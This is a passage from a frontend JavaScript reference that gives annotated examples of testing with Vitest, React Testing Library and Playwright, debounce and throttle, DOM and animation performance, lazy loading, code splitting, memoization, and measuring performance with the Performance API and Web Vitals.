    getProfile: () => api.get("/auth/profile"),
};

// ── Error boundary strategy ──
// Global error boundary → Feature error boundaries → Component try/catch
// Each level handles what it can, escalates what it can't

// ── Dependency rule ──
// features/ → can import from shared/
// features/ → CANNOT import from other features/
// shared/   → CANNOT import from features/
// This prevents circular dependencies and keeps features independent

// ── Unit Test (Jest/Vitest) ──
// utils/formatCurrency.js
export function formatCurrency(amount, currency = "USD") {
    return new Intl.NumberFormat("en-US", {
        style: "currency",
        currency,
    }).format(amount);
}

// utils/formatCurrency.test.js
import { describe, it, expect } from "vitest";
import { formatCurrency } from "./formatCurrency";

describe("formatCurrency", () => {
    it("formats USD by default", () => {
        expect(formatCurrency(1234.56)).toBe("$1,234.56");
    });
    it("handles zero", () => {
        expect(formatCurrency(0)).toBe("$0.00");
    });
    it("formats EUR", () => {
        expect(formatCurrency(1000, "EUR")).toContain("1,000.00");
    });
    it("handles negative amounts", () => {
        expect(formatCurrency(-50)).toBe("-$50.00");
    });
});

// ── Integration Test (React Testing Library) ──
// components/LoginForm.test.jsx
import { render, screen, waitFor } from "@testing-library/react";
import userEvent from "@testing-library/user-event";
import { LoginForm } from "./LoginForm";
import { api } from "../shared/api/httpClient";

// Mock the API module
vi.mock("../shared/api/httpClient");

describe("LoginForm", () => {
    it("submits credentials and shows welcome message", async () => {
        api.post.mockResolvedValue({ user: { name: "Alice" } });

        render(<LoginForm />);

        await userEvent.type(screen.getByLabelText("Email"), "alice@example.com");
        await userEvent.type(screen.getByLabelText("Password"), "password123");
        await userEvent.click(screen.getByRole("button", { name: "Log In" }));

        await waitFor(() => {
            expect(screen.getByText("Welcome, Alice!")).toBeInTheDocument();
        });

        expect(api.post).toHaveBeenCalledWith("/auth/login", {
            email: "alice@example.com",
            password: "password123",
        });
    });

    it("shows error on invalid credentials", async () => {
        api.post.mockRejectedValue(new Error("Invalid credentials"));
        render(<LoginForm />);

        await userEvent.type(screen.getByLabelText("Email"), "wrong@example.com");
        await userEvent.type(screen.getByLabelText("Password"), "wrong");
        await userEvent.click(screen.getByRole("button", { name: "Log In" }));

        await waitFor(() => {
            expect(screen.getByText(/invalid credentials/i)).toBeInTheDocument();
        });
    });
});

// ── E2E Test (Playwright) ──
// tests/checkout.spec.js
import { test, expect } from "@playwright/test";

test("complete checkout flow", async ({ page }) => {
    await page.goto("/products");

    // Add item to cart
    await page.click("[data-testid='product-1'] .add-to-cart");
    await expect(page.locator(".cart-count")).toHaveText("1");

    // Go to checkout
    await page.click(".checkout-btn");
    await expect(page).toHaveURL("/checkout");

    // Fill shipping info
    await page.fill("#address", "123 Main St");
    await page.fill("#city", "New York");
    await page.selectOption("#state", "NY");

    // Complete purchase
    await page.click("#place-order");
    await expect(page.locator(".confirmation")).toContainText("Order confirmed");
});

// ── Debounce implementation ──
function debounce(fn, delay) {
    let timeoutId;
    return function(...args) {
        clearTimeout(timeoutId); // reset timer on every call
        timeoutId = setTimeout(() => {
            fn.apply(this, args); // execute after delay with no new calls
        }, delay);
    };
}

// Usage: search input
const searchInput = document.getElementById("search");
const searchAPI = debounce(async (query) => {
    if (query.length < 2) return;
    const results = await fetch(`/api/search?q=${encodeURIComponent(query)}`).then(r => r.json());
    renderResults(results);
}, 300); // only fires 300ms after user STOPS typing

searchInput.addEventListener("input", (e) => searchAPI(e.target.value));
// Typing "react hooks" → 11 keystrokes, but only 1 API call (after 300ms pause)

// ── Throttle implementation ──
function throttle(fn, limit) {
    let inThrottle = false;
    return function(...args) {
        if (!inThrottle) {
            fn.apply(this, args);
            inThrottle = true;
            setTimeout(() => { inThrottle = false; }, limit);
        }
    };
}

// Usage: scroll handler
const handleScroll = throttle(() => {
    const scrollPercentage = (window.scrollY / (document.body.scrollHeight - window.innerHeight)) * 100;
    updateProgressBar(scrollPercentage);

    // Infinite scroll: load more when near bottom
    if (scrollPercentage > 80) {
        loadMoreContent();
    }
}, 100); // fires at most every 100ms

window.addEventListener("scroll", handleScroll);

// ── Advanced debounce with leading/trailing options ──
function advancedDebounce(fn, delay, { leading = false, trailing = true } = {}) {
    let timeoutId;
    let lastArgs;

    return function(...args) {
        const isFirst = !timeoutId && leading;
        lastArgs = args;

        clearTimeout(timeoutId);

        if (isFirst) {
            fn.apply(this, args); // fire immediately on first call
        }

        timeoutId = setTimeout(() => {
            if (trailing && lastArgs) {
                fn.apply(this, lastArgs); // fire on trailing edge
            }
            timeoutId = null;
            lastArgs = null;
        }, delay);
    };
}

// Leading: fire immediately, then ignore for delay
const saveBtn = advancedDebounce(saveDocument, 2000, { leading: true, trailing: false });
// First click saves immediately, additional clicks within 2s are ignored

// ── Comparison ──
// | Pattern  | Fires              | Use Case                          |
// |----------|--------------------|-----------------------------------|
// | Debounce | After pause ends   | Search input, resize, form save   |
// | Throttle | At fixed intervals | Scroll, mousemove, game loop      |
// | Neither  | Every call         | Click handlers, form submit       |

// ── BAD: Forced synchronous layout (layout thrashing) ──
const items = document.querySelectorAll(".item");
items.forEach(item => {
    const width = item.offsetWidth;  // READ — forces layout calculation
    item.style.width = width * 2 + "px"; // WRITE — invalidates layout
    // Next iteration: READ forces recalculation again!
    // This is "layout thrashing" — N reflows for N items
});

// ── GOOD: Batch reads, then batch writes ──
const widths = Array.from(items).map(item => item.offsetWidth); // all READs
items.forEach((item, i) => {
    item.style.width = widths[i] * 2 + "px"; // all WRITEs
});
// Only 1 reflow!

// ── Use transform/opacity for animations (composite only) ──
// BAD: animating top/left (triggers reflow every frame)
element.style.top = newY + "px";    // reflow!
element.style.left = newX + "px";   // reflow!

// GOOD: use transform (composite only — GPU accelerated)
element.style.transform = `translate(${newX}px, ${newY}px)`; // no reflow!
element.style.opacity = 0.5; // no reflow, no repaint — composite only

// ── Promote to GPU layer with will-change ──
.animated-element {
    will-change: transform, opacity; /* hint to browser: create GPU layer */
}
/* Remove will-change when animation ends to free GPU memory */

// ── requestAnimationFrame for visual updates ──
function smoothScroll(targetY) {
    const startY = window.scrollY;
    const distance = targetY - startY;
    let startTime = null;

    function step(timestamp) {
        if (!startTime) startTime = timestamp;
        const progress = Math.min((timestamp - startTime) / 500, 1); // 500ms duration
        const eased = progress * (2 - progress); // ease-out

        window.scrollTo(0, startY + distance * eased);

        if (progress < 1) {
            requestAnimationFrame(step); // sync with browser refresh rate
        }
    }
    requestAnimationFrame(step);
}

// ── Virtual scrolling for large lists ──
// Instead of rendering 10,000 DOM nodes:
function virtualList(items, containerHeight, itemHeight) {
    const visibleCount = Math.ceil(containerHeight / itemHeight) + 2; // buffer
    let scrollTop = 0;

    function render() {
        const startIndex = Math.floor(scrollTop / itemHeight);
        const visibleItems = items.slice(startIndex, startIndex + visibleCount);

        container.style.height = items.length * itemHeight + "px";
        container.innerHTML = visibleItems
            .map((item, i) => `<div style="position:absolute;top:${(startIndex + i) * itemHeight}px">${item.name}</div>`)
            .join("");
    }

    container.addEventListener("scroll", () => {
        scrollTop = container.scrollTop;
        requestAnimationFrame(render);
    });
}

// ── DocumentFragment for batch DOM insertion ──
const fragment = document.createDocumentFragment();
for (let i = 0; i < 1000; i++) {
    const div = document.createElement("div");
    div.textContent = `Item ${i}`;
    fragment.appendChild(div); // no reflow
}
container.appendChild(fragment); // single reflow

// ── Native image lazy loading (simplest) ──
// <img src="photo.jpg" loading="lazy" alt="Photo" width="400" height="300">
// Browser handles everything — loads image when near viewport

// ── IntersectionObserver for custom lazy loading ──
function lazyLoadImages() {
    const images = document.querySelectorAll("img[data-src]");

    const observer = new IntersectionObserver((entries) => {
        entries.forEach(entry => {
            if (entry.isIntersecting) {
                const img = entry.target;
                img.src = img.dataset.src;         // load real image
                if (img.dataset.srcset) {
                    img.srcset = img.dataset.srcset;
                }
                img.classList.add("loaded");
                observer.unobserve(img);           // stop watching
            }
        });
    }, {
        rootMargin: "200px", // start loading 200px before visible
    });

    images.forEach(img => observer.observe(img));
}

// HTML: <img data-src="photo.jpg" alt="Photo" width="400" height="300">

// ── Route-based code splitting (React) ──
import { lazy, Suspense } from "react";
import { BrowserRouter, Routes, Route } from "react-router-dom";

// Each page loaded only when navigated to
const Dashboard = lazy(() => import("./pages/Dashboard"));
const Settings = lazy(() => import("./pages/Settings"));
const Analytics = lazy(() => import("./pages/Analytics"));

function App() {
    return (
        <BrowserRouter>
            <Suspense fallback={<LoadingSpinner />}>
                <Routes>
                    <Route path="/dashboard" element={<Dashboard />} />
                    <Route path="/settings" element={<Settings />} />
                    <Route path="/analytics" element={<Analytics />} />
                </Routes>
            </Suspense>
        </BrowserRouter>
    );
}

// ── Dynamic import for heavy libraries ──
async function generatePDF(data) {
    // pdf-lib is 500KB — only load when user clicks "Export PDF"
    const { PDFDocument } = await import("pdf-lib");
    const doc = await PDFDocument.create();
    // ... generate PDF
}

// ── Intersection Observer for infinite scroll ──
function infiniteScroll(loadMore) {
    const sentinel = document.getElementById("scroll-sentinel");

    const observer = new IntersectionObserver(async (entries) => {
        if (entries[0].isIntersecting) {
            const newItems = await loadMore();
            if (newItems.length === 0) {
                observer.disconnect(); // no more data
            }
        }
    });

    observer.observe(sentinel);
}

// ── Preloading for anticipated navigation ──
// Preload on hover (user likely to click)
document.querySelectorAll("a[data-preload]").forEach(link => {
    link.addEventListener("mouseenter", () => {
        const href = link.getAttribute("href");
        // Preload the chunk
        import(`./pages/${href}`);
    }, { once: true });
});

// Link preload hint
// <link rel="preload" href="critical.js" as="script">
// <link rel="prefetch" href="next-page.js">  ← low priority, for future navigation

// ── Basic memoization ──
function memoize(fn) {
    const cache = new Map();
    return function(...args) {
        const key = JSON.stringify(args);
        if (cache.has(key)) {
            console.log(`Cache hit for ${key}`);
            return cache.get(key);
        }
        const result = fn.apply(this, args);
        cache.set(key, result);
        return result;
    };
}

// Expensive computation
const fibonacci = memoize(function fib(n) {
    if (n < 2) return n;
    return fibonacci(n - 1) + fibonacci(n - 2);
});

console.log(fibonacci(40)); // Instant with memoization
// Without: 2^40 recursive calls (~1.1 trillion operations)
// With:    40 unique calls + cache hits

// ── Memoize with max cache size (LRU) ──
function memoizeLRU(fn, maxSize = 100) {
    const cache = new Map();
    return function(...args) {
        const key = JSON.stringify(args);
        if (cache.has(key)) {
            const value = cache.get(key);
            cache.delete(key);
            cache.set(key, value); // move to end (most recent)
            return value;
        }
        const result = fn.apply(this, args);
        cache.set(key, result);
        if (cache.size > maxSize) {
            cache.delete(cache.keys().next().value); // delete oldest
        }
        return result;
    };
}

// ── React memoization ──
// React.memo: skip re-render if props unchanged
const ExpensiveList = React.memo(function ExpensiveList({ items, onSelect }) {
    return items.map(item => (
        <li key={item.id} onClick={() => onSelect(item.id)}>
            {expensiveFormat(item)}
        </li>
    ));
});

// useMemo: cache computed value
function Dashboard({ transactions }) {
    // Only recalculate when transactions change
    const summary = useMemo(() => {
        return transactions.reduce((acc, t) => {
            acc.total += t.amount;
            acc.count++;
            acc.categories[t.category] = (acc.categories[t.category] || 0) + t.amount;
            return acc;
        }, { total: 0, count: 0, categories: {} });
    }, [transactions]);

    return <SummaryCard data={summary} />;
}

// useCallback: cache function reference
function ParentComponent({ userId }) {
    // Without useCallback: new function every render → child re-renders
    const handleDelete = useCallback((itemId) => {
        deleteItem(userId, itemId);
    }, [userId]); // only recreate if userId changes

    return <ItemList onDelete={handleDelete} />;
}

// ── When NOT to memoize ──
// 1. Cheap operations (simple math, string ops)
// 2. Functions called with unique args every time
// 3. Functions with side effects
// 4. React: primitive props (string, number) — comparison is cheap already

// ── Performance API (programmatic profiling) ──

// Mark specific operations
performance.mark("fetch-start");
const data = await fetch("/api/heavy-endpoint").then(r => r.json());
performance.mark("fetch-end");
performance.measure("API fetch", "fetch-start", "fetch-end");

performance.mark("render-start");
renderDashboard(data);
performance.mark("render-end");
performance.measure("Dashboard render", "render-start", "render-end");

// Read measurements
const measures = performance.getEntriesByType("measure");
measures.forEach(m => {
    console.log(`${m.name}: ${m.duration.toFixed(2)}ms`);
});
// "API fetch: 342.50ms"
// "Dashboard render: 128.30ms"

// ── PerformanceObserver (auto-detect slow operations) ──
const observer = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        if (entry.duration > 100) {
            console.warn(`Slow operation: ${entry.name} (${entry.duration.toFixed(0)}ms)`);
            // Send to analytics
            sendToMonitoring({
                metric: "slow_operation",
                name: entry.name,
                duration: entry.duration,
            });
        }
    }
});
observer.observe({ entryTypes: ["measure", "longtask"] });

// ── Long Task detection ──
const longTaskObserver = new PerformanceObserver((list) => {
    for (const entry of list.getEntries()) {
        console.warn(`Long task detected: ${entry.duration.toFixed(0)}ms`);
        // Long tasks (>50ms) block the main thread
        // They cause jank, missed frames, and poor FID
    }
});
longTaskObserver.observe({ entryTypes: ["longtask"] });

// ── Web Vitals measurement ──
// LCP (Largest Contentful Paint) — < 2.5s good
new PerformanceObserver((list) => {
    const entries = list.getEntries();
    const lcp = entries[entries.length - 1];
    console.log(`LCP: ${lcp.startTime.toFixed(0)}ms`);
}).observe({ type: "largest-contentful-paint", buffered: true });

// FID (First Input Delay) — < 100ms good
new PerformanceObserver((list) => {
    list.getEntries().forEach(entry => {
        console.log(`FID: ${entry.processingStart - entry.startTime}ms`);
    });
}).observe({ type: "first-input", buffered: true });

// CLS (Cumulative Layout Shift) — < 0.1 good
let clsScore = 0;
new PerformanceObserver((list) => {
    list.getEntries().forEach(entry => {
        if (!entry.hadRecentInput) { // ignore user-triggered shifts
            clsScore += entry.value;
        }
    });
    console.log(`CLS: ${clsScore.toFixed(4)}`);
}).observe({ type: "layout-shift", buffered: true });

// ── DevTools workflow ──
// 1. Lighthouse tab → run audit → get overall scores and specific recommendations
// 2. Performance tab → record → identify long tasks in flame chart
//    - Yellow = JS execution, Purple = layout, Green = paint
//    - Red bar = long task (>50ms) — click to see call stack
// 3. Coverage tab (Cmd+Shift+P → "Show Coverage") → find unused JS/CSS
//    - Red = unused code, Blue = used code
//    - Target: remove or lazy-load unused code
// 4. Network tab → sort by size → identify large bundles
//    - Use source maps to see module sizes
// 5. Memory tab → heap snapshots → compare to find leaks
//    - Take snapshot 1 → perform action → take snapshot 2 → compare